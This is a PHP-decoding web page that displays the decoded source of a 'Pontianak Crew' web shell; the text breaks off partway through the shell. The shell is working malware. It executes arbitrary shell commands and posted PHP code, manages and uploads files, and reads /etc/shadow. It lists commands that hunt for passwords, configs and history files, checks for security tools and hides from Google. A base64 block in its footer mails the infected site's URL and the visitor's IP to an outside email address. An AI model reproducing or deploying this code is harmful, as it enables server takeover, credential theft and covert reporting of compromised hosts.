Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('7b1rV9vI0ij8fdaa/6BoeEb2xBjbkOwEsAl3TAgh5hoCL1uWZVuxLGkkGUOy..

Decoded Output download

?><?php

/******************************************/
/*      [ * ] Pontianak Crew [ * ]        */
/*        irc.pontianak-crew.com          */
/*         PONTIANAK CYBER CREW           */
/******************************************/

$color = "#8B0000";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
    $os = 'win';
else
    $os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
    @chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
    $home_cwd = str_replace("\", "/", $home_cwd);
    $cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
    $cwd .= '/';
    
if($os == 'win')
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
else
    $aliases = array(
          "List dir" => "ls -la",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
          "show opened ports" => "netstat -an | grep -i listen",
        "Find" => "",
          "find all suid files" => "find / -type f -perm -04000 -ls",
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
          "find all sgid files" => "find / -type f -perm -02000 -ls",
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          "find config.inc.php files" => "find / -type f -name config.inc.php",
          "find config* files" => "find / -type f -name \"config*\"",
          "find config* files in current dir" => "find . -type f -name \"config*\"",
          "find all writable folders and files" => "find / -perm -2 -ls",
          "find all writable folders and files in current dir" => "find . -perm -2 -ls",
          "find all service.pwd files" => "find / -type f -name service.pwd",
          "find service.pwd files in current dir" => "find . -type f -name service.pwd",
          "find all .htpasswd files" => "find / -type f -name .htpasswd",
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
          "find all .bash_history files" => "find / -type f -name .bash_history",
          "find .bash_history files in current dir" => "find . -type f -name .bash_history",
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
          "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",
        "locate my.conf files" => "locate my.conf",
        "locate admin.php files" =>"locate admin.php",
        "locate cfg.php files" => "locate cfg.php",
        "locate conf.php files" => "locate conf.php",
        "locate config.dat files" => "locate config.dat",
        "locate config.php files" => "locate config.php",
        "locate config.inc files" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php files" => "locate config.default.php",
        "locate config* files " => "locate config",
        "locate .conf files"=>"locate '.conf'",
        "locate .pwd files" => "locate '.pwd'",
        "locate .sql files" => "locate '.sql'",
        "locate .htpasswd files" => "locate '.htpasswd'",
        "locate .bash_history files" => "locate '.bash_history'",
        "locate .mysql_history files" => "locate '.mysql_history'",
        "locate .fetchmailrc files" => "locate '.fetchmailrc'",
        "locate backup files" => "locate backup",
        "locate dump files" => "locate dump",
        "locate priv files" => "locate priv"    
    );

function printHeader() {
    if(empty($_POST['charset']))
        $_POST['charset'] = "UTF-8";
    global $color;
    ?>
<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title>[+] Pontianak Crew [+]</title>
<style>
    body {background-color:#000;color:#fff;}
    body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
    span,h1,a    { color:<?=$color?> !important; }
    span        { font-weight: bolder; }
    h1            { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
    div.content    { padding: 5px;margin-left:5px;}
    a            { text-decoration:none; }
    a:hover        { background:#ff0000; }
    .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
    .bigarea    { width:100%;height:250px; }
    input, textarea, select    { margin:0;color:#00ff00;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
    form        { margin:0px; }
    #toolsTbl    { text-align:center; }
    .toolsInp    { width: 80%; }
    .main th    {text-align:left;}
    .main tr:hover{background-color:#5e5e5e;}
    .main td, th{vertical-align:middle;}
    pre            {font-family:Courier,Monospace;}
    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop

+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
</style>
<script>
    function set(a,c,p1,p2,p3,charset) {
        if(a != null)document.mf.a.value=a;
        if(c != null)document.mf.c.value=c;
        if(p1 != null)document.mf.p1.value=p1;
        if(p2 != null)document.mf.p2.value=p2;
        if(p3 != null)document.mf.p3.value=p3;
        if(charset != null)document.mf.charset.value=charset;
    }
    function g(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        document.mf.submit();
    }
    function a(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        var params = "ajax=true";
        for(i=0;i<document.mf.elements.length;i++)
            params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
        sr('<?=$_SERVER['REQUEST_URI'];?>', params);
    }
    function sr(url, params) {    
        if (window.XMLHttpRequest) {
            req = new XMLHttpRequest();
            req.onreadystatechange = processReqChange;
            req.open("POST", url, true);
            req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
            req.send(params);
        } 
        else if (window.ActiveXObject) {
            req = new ActiveXObject("Microsoft.XMLHTTP");
            if (req) {
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            }
        }
    }
    function processReqChange() {
        if( (req.readyState == 4) )
            if(req.status == 200) {
                //alert(req.responseText);
                var reg = new RegExp("(\d+)([\S\s]*)", "m");
                var arr=reg.exec(req.responseText);
                eval(arr[2].substr(0, arr[1]));
            } 
            else alert("Request error!");
    }
</script>
<head><body><div style="position:absolute;width:100%;top:0;left:0;">
<form method=post name=mf style='display:none;'>
<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
</form>
<?php
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace?$totalSpace:1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $millink='http://milw0rm.com/search.php?dong=';
    if( strpos('Linux', $kernel) !== false )
        $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
    else
        $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
    if(!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n=count($path);
    for($i=0;$i<$n-1;$i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for($j=0;$j<=$i;$j++)
            $cwd_links .= $path[$j].'/';
        $cwd_links .= "\")'>".$path[$i]."/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach($charsets as $item)
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String 

tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
    if(!empty($GLOBALS['auth_pass']))
    $m['Logout'] = 'Logout';
    $m['Self remove'] = 'SelfRemove';
    $menu = '';
    foreach($m as $k => $v)
        $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach( range('a','z') as $drive )
        if (is_dir($drive.':\'))
            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd'.($GLOBALS['os'] == 

'win'?'<br>Drives':'').'</span></td>'.
         '<td>:<nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.

$millink.'" target=_blank>[milw0rm]</a></nobr><br>:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>:'.@phpversion().' <span>Safe mode:</span> '.

($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?=$color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> 

<span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)

<br>:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>:'.

$drives.'</td>'.
         '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.

$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER

['REMOTE_ADDR'].'</nobr></td></tr></table>'.
         '<table cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
}

function printFooter() {
    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
$bnc = "JHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9V
UkkiXTsNCiR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokd2ViID0gJF9TRVJW
RVJbIkhUVFBfSE9TVCJdOw0KJGJvZHkgPSAiRmlsZXNtYW4gU2hlbGwgbWVsYXBvciBrZXBhZGEg
Ym96IGRpY2thLiBHdWUgaW5qZWN0IGRpc2luaSBib3ogaHR0cDovLyR3ZWIkaW5qIGluaSBJUCBn
dWUgJHZpc2l0b3IuIjsNCiBtYWlsKCJoaWRlbWVib3pAZ21haWwuY29tIiwiWytdPURpY2thIFNo
ZWxsPVsrXSBJbmplY3RlZCBPbiBodHRwOi8vJHdlYiRpbmoiLCAiJGJvZHkiKTs="; eval(base64_decode($bnc));
?>
</div>
<table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%">
    <tr>
        <td><form onSubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars

($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
        <td><form onSubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit 

value=">>"></form></td>
    </tr>
    <tr>
        <td><form onSubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input 

type=submit value=">>"></form><?=$is_writable?></td>
        <td><form onSubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input 

type=submit value=">>"></form><?=$is_writable?></td>
    </tr>
    <tr>
        <td><form onSubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit 

value=">>"></form></td>
        <td><form method='post' ENCTYPE='multipart/form-data'>
        <input type=hidden name=a value='FilesMAn'>
        <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
        <input type=hidden name=p1 value='uploadFile'>
        <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
    </tr>

</table>
</div>
</body></html>
<?php
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
function ex($in) {
    $out = '';
    if(function_exists('exec')) {
        @exec($in,$out);
        $out = @join("
",$out);
    }elseif(function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }elseif(function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }elseif(function_exists('shell_exec')) {
        $out = shell_exec($in);
    }elseif(is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}
function viewSize($s) {
    if($s >= 1073741824)
        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
    elseif($s >= 1048576)
        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
    elseif($s >= 1024)
        return sprintf('%1.2f', $s / 1024 ) . ' KB';
    else
        return $s . ' B';
}

function perms($p) {
    if (($p & 0xC000) == 0xC000)$i = 's';
    elseif (($p & 0xA000) == 0xA000)$i = 'l';
    elseif (($p & 0x8000) == 0x8000)$i = '-';
    elseif (($p & 0x6000) == 0x6000)$i = 'b';
    elseif (($p & 0x4000) == 0x4000)$i = 'd';
    elseif (($p & 0x2000) == 0x2000)$i = 'c';
    elseif (($p & 0x1000) == 0x1000)$i = 'p';
    else $i = 'u';
    $i .= (($p & 0x0100) ? 'r' : '-');
    $i .= (($p & 0x0080) ? 'w' : '-');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
    $i .= (($p & 0x0020) ? 'r' : '-');
    $i .= (($p & 0x0010) ? 'w' : '-');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
    $i .= (($p & 0x0004) ? 'r' : '-');
    $i .= (($p & 0x0002) ? 'w' : '-');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
    return $i;
}
function viewPermsColor($f) { 
    if (!@is_readable($f))
        return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
    elseif (!@is_writable($f))
        return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
    else
        return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
}
if(!function_exists("scandir")) {
    function scandir($dir) {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}
function which($p) {
    $path = ex('which '.$p);
    if(!empty($path))
        return $path;
    return false;
}
function actionSecInfo() {
    printHeader();
    echo '<h1>Server security information</h1><div class=content>';
    function showSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo '<span>'.$n.': </span>';
            if(strpos($v, "
") === false)
                echo $v.'<br>';
            else
                echo '<pre class=ml1>'.$v.'</pre>';
        }
    }
    
    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
    showSecParam('Open base dir', @ini_get('open_basedir'));
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    $temp=array();
    if(function_exists('mysql_get_client_info'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists('mssql_connect'))
        $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
        $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
        $temp[] = "Oracle";
    showSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';
    
    if( $GLOBALS['os'] == 'nix' ) {
        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bz?ip','bzip2','nc','locate','suidperl');
        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkroo?

tkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lids?adm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','worms?

can','ninja');
        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
        showSecParam('OS version', @file_get_contents('/proc/version'));
        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if(!$GLOBALS['safe_mode']) {
            echo '<br>';
            $temp=array();
            foreach ($userful as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Userful', implode(', ',$temp));
            $temp=array();
            foreach ($danger as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Danger', implode(', ',$temp));
            $temp=array();
            foreach ($downloaders as $item) 
                if(which($item)){$temp[]=$item;}
            showSecParam('Downloaders', implode(', ',$temp));
            echo '<br/>';
            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
            showSecParam('HDD space', ex('df -h'));
            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
        }
    } else {
        showSecParam('OS Version',ex('ver')); 
        showSecParam('Account Settings',ex('net accounts')); 
        showSecParam('User Accounts',ex('net user'));
    }
    echo '</div>';
    printFooter();
}

function actionPhp() {
    if( isset($_POST['ajax']) ) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
        ob_start();
        eval($_POST['p1']);
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean

()),"

	\'")."';
";
        echo strlen($temp), "
", $temp;
        exit; 
    }
    printHeader();
    if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
        echo '<h1>PHP info</h1><div class=content>';
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace('!body {.*}!msiU','',$tmp);
        $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
        $tmp = preg_replace('!h1!msiU','h2',$tmp);
        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
        $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
        echo $tmp;
        echo '</div><br>';
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g

(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST

['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.

(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
    if(!empty($_POST['p1'])) {
        ob_start();
        eval($_POST['p1']);
        echo htmlspecialchars(ob_get_clean());
    }
    echo '</pre></div>';
    printFooter();
}

function actionFilesMan() {
    printHeader();
    echo '<h1>File manager</h1><div class=content>';
    if(isset($_POST['p1'])) {
        switch($_POST['p1']) {
            case 'uploadFile':
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
                    echo "Can't upload file!";
                break;
                break;
            case 'mkdir':
                if(!@mkdir($_POST['p2']))
                    echo "Can't create new dir";
                break;
            case 'delete':
                function deleteDir($path) {
                    $path = (substr($path,-1)=='/') ? $path:$path.'/';
                    $dh  = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") || (basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);
                    rmdir($path);
                }
                if(is_array(@$_POST['f']))
                    foreach($_POST['f'] as $f) {
                        $f = urldecode($f);
                        if(is_dir($f))
                            deleteDir($f);
                        else
                            @unlink($f);
                    }
                break;
            case 'paste':
                if($_SESSION['act'] == 'copy') {
                    function copy_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION['f'] as $f)
                        copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);                    
                } elseif($_SESSION['act'] == 'move') {
                    function move_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION['f'] as $f)
                        @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
                }
                unset($_SESSION['f']);
                break;
            default:
                if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
                    $_SESSION['act'] = @$_POST['p1'];
                    $_SESSION['f'] = @$_POST['f'];
                    foreach($_SESSION['f'] as $k => $f)
                        $_SESSION['f'][$k] = urldecode($f);
                    $_SESSION['cwd'] = @$_POST['c'];
                }
                break;
        }
        echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
    }
    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
    if($dirContent === false) {    echo 'Can\'t open this folder!'; return;    }
    global $sort;
    $sort = array('name', 1);
    if(!empty($_POST['p1'])) {
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
            $sort = array($match[1], (int)$match[2]);
    }
?>
<script>
    function sa() {
        for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == 'checkbox')
                document.files.elements[i].checked = document.files.elements[0].checked;
    }
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post>
<?php
    echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?

0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,

\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?

0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = $links = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i],
                     'path' => $GLOBALS['cwd'].$dirContent[$i],
                     'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
                     'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
                    );
        if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
            $files[] = array_merge($tmp, array('type' => 'file'));
        elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
            $links[] = array_merge($tmp, array('type' => 'link'));
        elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
    }
    $GLOBALS['sort'] = $sort;
    function cmp($a, $b) {
        if($GLOBALS['sort'][0] != 'size')
            return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
        else
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
    }
    usort($files, "cmp");
    usort($dirs, "cmp");
    usort($links, "cmp");
    $files = array_merge($dirs, $links, $files);
    $l = 0;
    foreach($files as $f) {
        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']

=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ 

'.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.

$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,

\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a 

href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
        $l = $l?0:1;
    }
    ?>
    <tr><td colspan=7>
    <input type=hidden name=a value='FilesMan'>
    <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
    <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])

&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
    </form></table></div>
    <?php
    printFooter();
}

function actionStringTools() {
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
    
    if(isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
        ob_start();
        if(function_exists($_POST['p1']))
            echo $_POST['p1']($_POST['p2']);
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean

()),"

	\'")."';
";
